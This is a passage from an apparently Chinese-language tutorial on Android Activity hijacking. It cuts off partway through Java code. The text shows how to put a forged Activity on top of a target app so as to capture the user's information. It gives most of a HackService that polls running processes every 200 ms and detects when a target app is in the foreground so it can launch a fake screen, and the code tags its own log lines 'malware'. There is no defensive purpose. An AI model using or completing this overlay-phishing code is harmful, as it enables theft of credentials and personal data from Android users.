Android-Acitivity劫持
由于Android的设计缺陷,当我们为Activity指定标志位FLAG_ ACTIVITY_ NEW_ TASK时,就能使Activity置于栈顶,并呈现给用户。
当然利用这个缺陷可以做很多羞羞的事情 【==】可以劫持用户信息,可以无限弹框(-。-;)等等ect.
今天我们来实现Activity劫持的代码:
1.通过遍历所有的进程,得到当前前台正在运行的应用进程
2.判断是否是目标进程,如果是启动伪造的Activity,对用户信息进行劫持。
hackService用于执行劫持主要逻辑
public class HackService extends Service {
//targetMap用于存放我们的目标程序
HashMap<String, Class<?>> targetMap = new HashMap<String, Class<?>>();
Handler handler = new Handler();
boolean isStart = false;
//我们新建一个Runnable对象,每隔200ms进行一次搜索
Runnable searchTarget = new Runnable() {
@Override
public void run() {
//得到ActivityManager
ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
//通过ActivityManager将当前正在运行的进程存入processInfo中
List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();
Log.w("恶意软件", "遍历进程");
//遍历processInfo中的进程信息,看是否有我们的目标
for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {
//若processInfo中的进程正在前台且是我们的目标进程,则调用hijack方法进行劫持
if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
if (targetMap.containsKey(_processInfo.